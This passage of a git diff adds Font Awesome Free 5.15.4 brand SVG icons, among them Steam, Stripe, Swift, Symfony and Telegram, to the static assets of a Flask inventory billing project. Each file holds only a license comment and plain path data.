Flask/static/font-awesome/svgs/brands/steam.svg new file mode 100644 index 00000000..c1a9329e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/steam.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M496 256c0 137-111.2 248-248.4 248-113.8 0-209.6-76.3-239-180.4l95.2 39.3c6.4 32.1 34.9 56.4 68.9 56.4 39.2 0 71.9-32.4 70.2-73.5l84.5-60.2c52.1 1.3 95.8-40.9 95.8-93.5 0-51.6-42-93.5-93.7-93.5s-93.7 42-93.7 93.5v1.2L176.6 279c-15.5-.9-30.7 3.4-43.5 12.1L0 236.1C10.2 108.4 117.1 8 247.6 8 384.8 8 496 119 496 256zM155.7 384.3l-30.5-12.6a52.79 52.79 0 0 0 27.2 25.8c26.9 11.2 57.8-1.6 69-28.4 5.4-13 5.5-27.3.1-40.3-5.4-13-15.5-23.2-28.5-28.6-12.9-5.4-26.7-5.2-38.9-.6l31.5 13c19.8 8.2 29.2 30.9 20.9 50.7-8.3 19.9-31 29.2-50.8 21zm173.8-129.9c-34.4 0-62.4-28-62.4-62.3s28-62.3 62.4-62.3 62.4 28 62.4 62.3-27.9 62.3-62.4 62.3zm.1-15.6c25.9 0 46.9-21 46.9-46.8 0-25.9-21-46.8-46.9-46.8s-46.9 21-46.9 46.8c.1 25.8 21.1 46.8 46.9 46.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/sticker-mule.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/sticker-mule.svg new file mode 100644 index 00000000..c362673a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/sticker-mule.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M561.7 199.6c-1.3.3.3 0 0 0zm-6.2-77.4c-7.7-22.3-5.1-7.2-13.4-36.9-1.6-6.5-3.6-14.5-6.2-20-4.4-8.7-4.6-7.5-4.6-9.5 0-5.3 30.7-45.3 19-46.9-5.7-.6-12.2 11.6-20.6 17-8.6 4.2-8 5-10.3 5-2.6 0-5.7-3-6.2-5-2-5.7 1.9-25.9-3.6-25.9-3.6 0-12.3 24.8-17 25.8-5.2 1.3-27.9-11.4-75.1 18-25.3 13.2-86.9 65.2-87 65.3-6.7 4.7-20 4.7-35.5 16-44.4 30.1-109.6 9.4-110.7 9-110.6-26.8-128-15.2-159 11.5-20.8 17.9-23.7 36.5-24.2 38.9-4.2 20.4 5.2 48.3 6.7 64.3 1.8 19.3-2.7 17.7 7.7 98.3.5 1 4.1 0 5.1 1.5 0 8.4-3.8 12.1-4.1 13-1.5 4.5-1.5 10.5 0 16 2.3 8.2 8.2 37.2 8.2 46.9 0 41.8.4 44 2.6 49.4 3.9 10 12.5 9.1 17 12 3.1 3.5-.5 8.5 1 12.5.5 2 3.6 4 6.2 5 9.2 3.6 27 .3 29.9-2.5 1.6-1.5.5-4.5 3.1-5 5.1 0 10.8-.5 14.4-2.5 5.1-2.5 4.1-6 1.5-10.5-.4-.8-7-13.3-9.8-16-2.1-2-5.1-3-7.2-4.5-5.8-4.9-10.3-19.4-10.3-19.5-4.6-19.4-10.3-46.3-4.1-66.8 4.6-17.2 39.5-87.7 39.6-87.8 4.1-6.5 17-11.5 27.3-7 6 1.9 19.3 22 65.4 30.9 47.9 8.7 97.4-2 112.2-2 2.8 2-1.9 13-.5 38.9 0 26.4-.4 13.7-4.1 29.9-2.2 9.7 3.4 23.2-1.5 46.9-1.4 9.8-9.9 32.7-8.2 43.4.5 1 1 2 1.5 3.5.5 4.5 1.5 8.5 4.6 10 7.3 3.6 12-3.5 9.8 11.5-.7 3.1-2.6 12 1.5 15 4.4 3.7 30.6 3.4 36.5.5 2.6-1.5 1.6-4.5 6.4-7.4 1.9-.9 11.3-.4 11.3-6.5.3-1.8-9.2-19.9-9.3-20-2.6-3.5-9.2-4.5-11.3-8-6.9-10.1-1.7-52.6.5-59.4 3-11 5.6-22.4 8.7-32.4 11-42.5 10.3-50.6 16.5-68.3.8-1.8 6.4-23.1 10.3-29.9 9.3-17 21.7-32.4 33.5-47.4 18-22.9 34-46.9 52-69.8 6.1-7 8.2-13.7 18-8 10.8 5.7 21.6 7 31.9 17 14.6 12.8 10.2 18.2 11.8 22.9 1.5 5 7.7 10.5 14.9 9.5 10.4-2 13-2.5 13.4-2.5 2.6-.5 5.7-5 7.2-8 3.1-5.5 7.2-9 7.2-16.5 0-7.7-.4-2.8-20.6-52.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/strava.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/strava.svg new file mode 100644 index 00000000..9772ac24 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/strava.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M158.4 0L7 292h89.2l62.2-116.1L220.1 292h88.5zm150.2 292l-43.9 88.2-44.6-88.2h-67.6l112.2 220 111.5-220z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/stripe-s.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/stripe-s.svg new file mode 100644 index 00000000..c5a52edd --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/stripe-s.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M155.3 154.6c0-22.3 18.6-30.9 48.4-30.9 43.4 0 98.5 13.3 141.9 36.7V26.1C298.3 7.2 251.1 0 203.8 0 88.1 0 11 60.4 11 161.4c0 157.9 216.8 132.3 216.8 200.4 0 26.4-22.9 34.9-54.7 34.9-47.2 0-108.2-19.5-156.1-45.5v128.5a396.09 396.09 0 0 0 156 32.4c118.6 0 200.3-51 200.3-153.6 0-170.2-218-139.7-218-203.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/stripe.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/stripe.svg new file mode 100644 index 00000000..975dcfce --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/stripe.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M165 144.7l-43.3 9.2-.2 142.4c0 26.3 19.8 43.3 46.1 43.3 14.6 0 25.3-2.7 31.2-5.9v-33.8c-5.7 2.3-33.7 10.5-33.7-15.7V221h33.7v-37.8h-33.7zm89.1 51.6l-2.7-13.1H213v153.2h44.3V233.3c10.5-13.8 28.2-11.1 33.9-9.3v-40.8c-6-2.1-26.7-6-37.1 13.1zm92.3-72.3l-44.6 9.5v36.2l44.6-9.5zM44.9 228.3c0-6.9 5.8-9.6 15.1-9.7 13.5 0 30.7 4.1 44.2 11.4v-41.8c-14.7-5.8-29.4-8.1-44.1-8.1-36 0-60 18.8-60 50.2 0 49.2 67.5 41.2 67.5 62.4 0 8.2-7.1 10.9-17 10.9-14.7 0-33.7-6.1-48.6-14.2v40c16.5 7.1 33.2 10.1 48.5 10.1 36.9 0 62.3-15.8 62.3-47.8 0-52.9-67.9-43.4-67.9-63.4zM640 261.6c0-45.5-22-81.4-64.2-81.4s-67.9 35.9-67.9 81.1c0 53.5 30.3 78.2 73.5 78.2 21.2 0 37.1-4.8 49.2-11.5v-33.4c-12.1 6.1-26 9.8-43.6 9.8-17.3 0-32.5-6.1-34.5-26.9h86.9c.2-2.3.6-11.6.6-15.9zm-87.9-16.8c0-20 12.3-28.4 23.4-28.4 10.9 0 22.5 8.4 22.5 28.4zm-112.9-64.6c-17.4 0-28.6 8.2-34.8 13.9l-2.3-11H363v204.8l44.4-9.4.1-50.2c6.4 4.7 15.9 11.2 31.4 11.2 31.8 0 60.8-23.2 60.8-79.6.1-51.6-29.3-79.7-60.5-79.7zm-10.6 122.5c-10.4 0-16.6-3.8-20.9-8.4l-.3-66c4.6-5.1 11-8.8 21.2-8.8 16.2 0 27.4 18.2 27.4 41.4.1 23.9-10.9 41.8-27.4 41.8zm-126.7 33.7h44.6V183.2h-44.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/studiovinari.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/studiovinari.svg new file mode 100644 index 00000000..24de833b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/studiovinari.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M480.3 187.7l4.2 28v28l-25.1 44.1-39.8 78.4-56.1 67.5-79.1 37.8-17.7 24.5-7.7 12-9.6 4s17.3-63.6 19.4-63.6c2.1 0 20.3.7 20.3.7l66.7-38.6-92.5 26.1-55.9 36.8-22.8 28-6.6 1.4 20.8-73.6 6.9-5.5 20.7 12.9 88.3-45.2 56.8-51.5 14.8-68.4-125.4 23.3 15.2-18.2-173.4-53.3 81.9-10.5-166-122.9L133.5 108 32.2 0l252.9 126.6-31.5-38L378 163 234.7 64l18.7 38.4-49.6-18.1L158.3 0l194.6 122L310 66.2l108 96.4 12-8.9-21-16.4 4.2-37.8L451 89.1l29.2 24.7 11.5 4.2-7 6.2 8.5 12-13.1 7.4-10.3 20.2 10.5 23.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/stumbleupon-circle.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/stumbleupon-circle.svg new file mode 100644 index 00000000..fc5fed1e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/stumbleupon-circle.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 177.5c-9.8 0-17.8 8-17.8 17.8v106.9c0 40.9-33.9 73.9-74.9 73.9-41.4 0-74.9-33.5-74.9-74.9v-46.5h57.3v45.8c0 10 8 17.8 17.8 17.8s17.8-7.9 17.8-17.8V200.1c0-40 34.2-72.1 74.7-72.1 40.7 0 74.7 32.3 74.7 72.6v23.7l-34.1 10.1-22.9-10.7v-20.6c.1-9.6-7.9-17.6-17.7-17.6zm167.6 123.6c0 41.4-33.5 74.9-74.9 74.9-41.2 0-74.9-33.2-74.9-74.2V263l22.9 10.7 34.1-10.1v47.1c0 9.8 8 17.6 17.8 17.6s17.8-7.9 17.8-17.6v-48h57.3c-.1 45.9-.1 46.4-.1 46.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/stumbleupon.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/stumbleupon.svg new file mode 100644 index 00000000..c8cc3fc9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/stumbleupon.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M502.9 266v69.7c0 62.1-50.3 112.4-112.4 112.4-61.8 0-112.4-49.8-112.4-111.3v-70.2l34.3 16 51.1-15.2V338c0 14.7 12 26.5 26.7 26.5S417 352.7 417 338v-72h85.9zm-224.7-58.2l34.3 16 51.1-15.2V173c0-60.5-51.1-109-112.1-109-60.8 0-112.1 48.2-112.1 108.2v162.4c0 14.9-12 26.7-26.7 26.7S86 349.5 86 334.6V266H0v69.7C0 397.7 50.3 448 112.4 448c61.6 0 112.4-49.5 112.4-110.8V176.9c0-14.7 12-26.7 26.7-26.7s26.7 12 26.7 26.7v30.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/superpowers.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/superpowers.svg new file mode 100644 index 00000000..1fa74ee4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/superpowers.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448 32c-83.3 11-166.8 22-250 33-92 12.5-163.3 86.7-169 180-3.3 55.5 18 109.5 57.8 148.2L0 480c83.3-11 166.5-22 249.8-33 91.8-12.5 163.3-86.8 168.7-179.8 3.5-55.5-18-109.5-57.7-148.2L448 32zm-79.7 232.3c-4.2 79.5-74 139.2-152.8 134.5-79.5-4.7-140.7-71-136.3-151 4.5-79.2 74.3-139.3 153-134.5 79.3 4.7 140.5 71 136.1 151z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/supple.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/supple.svg new file mode 100644 index 00000000..130cb6ff --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/supple.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M640 262.5c0 64.1-109 116.1-243.5 116.1-24.8 0-48.6-1.8-71.1-5 7.7.4 15.5.6 23.4.6 134.5 0 243.5-56.9 243.5-127.1 0-29.4-19.1-56.4-51.2-78 60 21.1 98.9 55.1 98.9 93.4zM47.7 227.9c-.1-70.2 108.8-127.3 243.3-127.6 7.9 0 15.6.2 23.3.5-22.5-3.2-46.3-4.9-71-4.9C108.8 96.3-.1 148.5 0 212.6c.1 38.3 39.1 72.3 99.3 93.3-32.3-21.5-51.5-48.6-51.6-78zm60.2 39.9s10.5 13.2 29.3 13.2c17.9 0 28.4-11.5 28.4-25.1 0-28-40.2-25.1-40.2-39.7 0-5.4 5.3-9.1 12.5-9.1 5.7 0 11.3 2.6 11.3 6.6v3.9h14.2v-7.9c0-12.1-15.4-16.8-25.4-16.8-16.5 0-28.5 10.2-28.5 24.1 0 26.6 40.2 25.4 40.2 39.9 0 6.6-5.8 10.1-12.3 10.1-11.9 0-20.7-10.1-20.7-10.1l-8.8 10.9zm120.8-73.6v54.4c0 11.3-7.1 17.8-17.8 17.8-10.7 0-17.8-6.5-17.8-17.7v-54.5h-15.8v55c0 18.9 13.4 31.9 33.7 31.9 20.1 0 33.4-13 33.4-31.9v-55h-15.7zm34.4 85.4h15.8v-29.5h15.5c16 0 27.2-11.5 27.2-28.1s-11.2-27.8-27.2-27.8h-39.1v13.4h7.8v72zm15.8-43v-29.1h12.9c8.7 0 13.7 5.7 13.7 14.4 0 8.9-5.1 14.7-14 14.7h-12.6zm57 43h15.8v-29.5h15.5c16 0 27.2-11.5 27.2-28.1s-11.2-27.8-27.2-27.8h-39.1v13.4h7.8v72zm15.7-43v-29.1h12.9c8.7 0 13.7 5.7 13.7 14.4 0 8.9-5 14.7-14 14.7h-12.6zm57.1 34.8c0 5.8 2.4 8.2 8.2 8.2h37.6c5.8 0 8.2-2.4 8.2-8.2v-13h-14.3v5.2c0 1.7-1 2.6-2.6 2.6h-18.6c-1.7 0-2.6-1-2.6-2.6v-61.2c0-5.7-2.4-8.2-8.2-8.2H401v13.4h5.2c1.7 0 2.6 1 2.6 2.6v61.2zm63.4 0c0 5.8 2.4 8.2 8.2 8.2H519c5.7 0 8.2-2.4 8.2-8.2v-13h-14.3v5.2c0 1.7-1 2.6-2.6 2.6h-19.7c-1.7 0-2.6-1-2.6-2.6v-20.3h27.7v-13.4H488v-22.4h19.2c1.7 0 2.6 1 2.6 2.6v5.2H524v-13c0-5.7-2.5-8.2-8.2-8.2h-51.6v13.4h7.8v63.9zm58.9-76v5.9h1.6v-5.9h2.7v-1.2h-7v1.2h2.7zm5.7-1.2v7.1h1.5v-5.7l2.3 5.7h1.3l2.3-5.7v5.7h1.5v-7.1h-2.3l-2.1 5.1-2.1-5.1h-2.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/suse.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/suse.svg new file mode 100644 index 00000000..10e633fc --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/suse.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M471.08 102.66s-.3 18.3-.3 20.3c-9.1-3-74.4-24.1-135.7-26.3-51.9-1.8-122.8-4.3-223 57.3-19.4 12.4-73.9 46.1-99.6 109.7C7 277-.12 307 7 335.06a111 111 0 0 0 16.5 35.7c17.4 25 46.6 41.6 78.1 44.4 44.4 3.9 78.1-16 90-53.3 8.2-25.8 0-63.6-31.5-82.9-25.6-15.7-53.3-12.1-69.2-1.6-13.9 9.2-21.8 23.5-21.6 39.2.3 27.8 24.3 42.6 41.5 42.6a49 49 0 0 0 15.8-2.7c6.5-1.8 13.3-6.5 13.3-14.9 0-12.1-11.6-14.8-16.8-13.9-2.9.5-4.5 2-11.8 2.4-2-.2-12-3.1-12-14V316c.2-12.3 13.2-18 25.5-16.9 32.3 2.8 47.7 40.7 28.5 65.7-18.3 23.7-76.6 23.2-99.7-20.4-26-49.2 12.7-111.2 87-98.4 33.2 5.7 83.6 35.5 102.4 104.3h45.9c-5.7-17.6-8.9-68.3 42.7-68.3 56.7 0 63.9 39.9 79.8 68.3H460c-12.8-18.3-21.7-38.7-18.9-55.8 5.6-33.8 39.7-18.4 82.4-17.4 66.5.4 102.1-27 103.1-28 3.7-3.1 6.5-15.8 7-17.7 1.3-5.1-3.2-2.4-3.2-2.4-8.7 5.2-30.5 15.2-50.9 15.6-25.3.5-76.2-25.4-81.6-28.2-.3-.4.1 1.2-11-25.5 88.4 58.3 118.3 40.5 145.2 21.7.8-.6 4.3-2.9 3.6-5.7-13.8-48.1-22.4-62.7-34.5-69.6-37-21.6-125-34.7-129.2-35.3.1-.1-.9-.3-.9.7zm60.4 72.8a37.54 37.54 0 0 1 38.9-36.3c33.4 1.2 48.8 42.3 24.4 65.2-24.2 22.7-64.4 4.6-63.3-28.9zm38.6-25.3a26.27 26.27 0 1 0 25.4 27.2 26.19 26.19 0 0 0-25.4-27.2zm4.3 28.8c-15.4 0-15.4-15.6 0-15.6s15.4 15.64 0 15.64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/swift.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/swift.svg new file mode 100644 index 00000000..cf23a946 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/swift.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448 156.09c0-4.51-.08-9-.2-13.52a196.31 196.31 0 0 0-2.58-29.42 99.62 99.62 0 0 0-9.22-28A94.08 94.08 0 0 0 394.84 44a99.17 99.17 0 0 0-28-9.22 195 195 0 0 0-29.43-2.59c-4.51-.12-9-.17-13.52-.2H124.14c-4.51 0-9 .08-13.52.2-2.45.07-4.91.15-7.37.27a171.68 171.68 0 0 0-22.06 2.32 103.06 103.06 0 0 0-21.21 6.1q-3.46 1.45-6.81 3.12a94.66 94.66 0 0 0-18.39 12.32c-1.88 1.61-3.69 3.28-5.43 5A93.86 93.86 0 0 0 12 85.17a99.45 99.45 0 0 0-9.22 28 196.31 196.31 0 0 0-2.54 29.4c-.13 4.51-.18 9-.21 13.52v199.83c0 4.51.08 9 .21 13.51a196.08 196.08 0 0 0 2.58 29.42 99.3 99.3 0 0 0 9.22 28A94.31 94.31 0 0 0 53.17 468a99.47 99.47 0 0 0 28 9.21 195 195 0 0 0 29.43 2.59c4.5.12 9 .17 13.52.2H323.91c4.51 0 9-.08 13.52-.2a196.59 196.59 0 0 0 29.44-2.59 99.57 99.57 0 0 0 28-9.21A94.22 94.22 0 0 0 436 426.84a99.3 99.3 0 0 0 9.22-28 194.79 194.79 0 0 0 2.59-29.42c.12-4.5.17-9 .2-13.51V172.14c-.01-5.35-.01-10.7-.01-16.05zm-69.88 241c-20-38.93-57.23-29.27-76.31-19.47-1.72 1-3.48 2-5.25 3l-.42.25c-39.5 21-92.53 22.54-145.85-.38A234.64 234.64 0 0 1 45 290.12a230.63 230.63 0 0 0 39.17 23.37c56.36 26.4 113 24.49 153 0-57-43.85-104.6-101-141.09-147.22a197.09 197.09 0 0 1-18.78-25.9c43.7 40 112.7 90.22 137.48 104.12-52.57-55.49-98.89-123.94-96.72-121.74 82.79 83.42 159.18 130.59 159.18 130.59 2.88 1.58 5 2.85 6.73 4a127.44 127.44 0 0 0 4.16-12.47c13.22-48.33-1.66-103.58-35.31-149.2C329.61 141.75 375 229.34 356.4 303.42c-.44 1.73-.95 3.4-1.44 5.09 38.52 47.4 28.04 98.17 23.13 88.59z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/symfony.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/symfony.svg new file mode 100644 index 00000000..73037707 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/symfony.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm133.74 143.54c-11.47.41-19.4-6.45-19.77-16.87-.27-9.18 6.68-13.44 6.53-18.85-.23-6.55-10.16-6.82-12.87-6.67-39.78 1.29-48.59 57-58.89 113.85 21.43 3.15 36.65-.72 45.14-6.22 12-7.75-3.34-15.72-1.42-24.56 4-18.16 32.55-19 32 5.3-.36 17.86-25.92 41.81-77.6 35.7-10.76 59.52-18.35 115-58.2 161.72-29 34.46-58.4 39.82-71.58 40.26-24.65.85-41-12.31-41.58-29.84-.56-17 14.45-26.26 24.31-26.59 21.89-.75 30.12 25.67 14.88 34-12.09 9.71.11 12.61 2.05 12.55 10.42-.36 17.34-5.51 22.18-9 24-20 33.24-54.86 45.35-118.35 8.19-49.66 17-78 18.23-82-16.93-12.75-27.08-28.55-49.85-34.72-15.61-4.23-25.12-.63-31.81 7.83-7.92 10-5.29 23 2.37 30.7l12.63 14c15.51 17.93 24 31.87 20.8 50.62-5.06 29.93-40.72 52.9-82.88 39.94-36-11.11-42.7-36.56-38.38-50.62 7.51-24.15 42.36-11.72 34.62 13.6-2.79 8.6-4.92 8.68-6.28 13.07-4.56 14.77 41.85 28.4 51-1.39 4.47-14.52-5.3-21.71-22.25-39.85-28.47-31.75-16-65.49 2.95-79.67C204.23 140.13 251.94 197 262 205.29c37.17-109 100.53-105.46 102.43-105.53 25.16-.81 44.19 10.59 44.83 28.65.25 7.69-4.17 22.59-19.52 23.13z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/teamspeak.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/teamspeak.svg new file mode 100644 index 00000000..809c22bd --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/teamspeak.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M244.2 346.79c2.4-12.3-12-30-32.4-48.7-20.9-19.2-48.2-39.1-63.4-46.6-21.7-12-41.7-1.8-46.3 22.7-5 26.2 0 51.4 14.5 73.9 10.2 15.5 25.4 22.7 43.4 24 11.6.6 52.5 2.2 61.7-1 11.9-4.3 20.1-11.8 22.5-24.3zm205 20.8a5.22 5.22 0 0 0-8.3 2.4c-8 25.4-44.7 112.5-172.1 121.5-149.7 10.5 80.3 43.6 145.4-6.4 22.7-17.4 47.6-35 46.6-85.4-.4-10.1-4.9-26.69-11.6-32.1zm62-122.4c-.3-18.9-8.6-33.4-26-42.2-2.9-1.3-5-2.7-5.9-6.4A222.64 222.64 0 0 0 438.9 103c-1.1-1.5-3.5-3.2-2.2-5 8.5-11.5-.3-18-7-24.4Q321.4-31.11 177.4 13.09c-40.1 12.3-73.9 35.6-102 67.4-4 4.3-6.7 9.1-3 14.5 3 4 1.3 6.2-1 9.3C51.6 132 38.2 162.59 32.1 196c-.7 4.3-2.9 6-6.4 7.8-14.2 7-22.5 18.5-24.9 34L0 264.29v20.9c0 30.8 21 50.4 51.8 49 7.7-.3 11.7-4.3 12-11.5 2-77.5-2.4-95.4 3.7-125.8C92.1 72.39 234.3 5 345.3 65.39 411.4 102 445.7 159 447.6 234.79c.8 28.2 0 56.5 0 84.6 0 7 2.2 12.5 9.4 14.2 24.1 5 49.2-12 53.2-36.7 2.9-17.1 1-34.5 1-51.7zm-159.6 131.5c36.5 2.8 59.3-28.5 58.4-60.5-2.1-45.2-66.2-16.5-87.8-8-73.2 28.1-45 54.9-22.2 60.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/telegram-plane.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/telegram-plane.svg new file mode 100644 index 00000000..74b7cac6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/telegram-plane.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M446.7 98.6l-67.6 318.8c-5.1 22.5-18.4 28.1-37.3 17.5l-103-75.9-49.7 47.8c-5.5 5.5-10.1 10.1-20.7 10.1l7.4-104.9 190.9-172.5c8.3-7.4-1.8-11.5-12.9-4.1L117.8 284 16.2 252.2c-22.1-6.9-22.5-22.1 4.6-32.7L418.2 66.4c18.4-6.9 34.5 4.1 28.5 32.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/telegram.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/telegram.svg new file mode 100644 index 00000000..6c2cfb7c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/telegram.svg @@ -0,0 +1 @@ +<svg 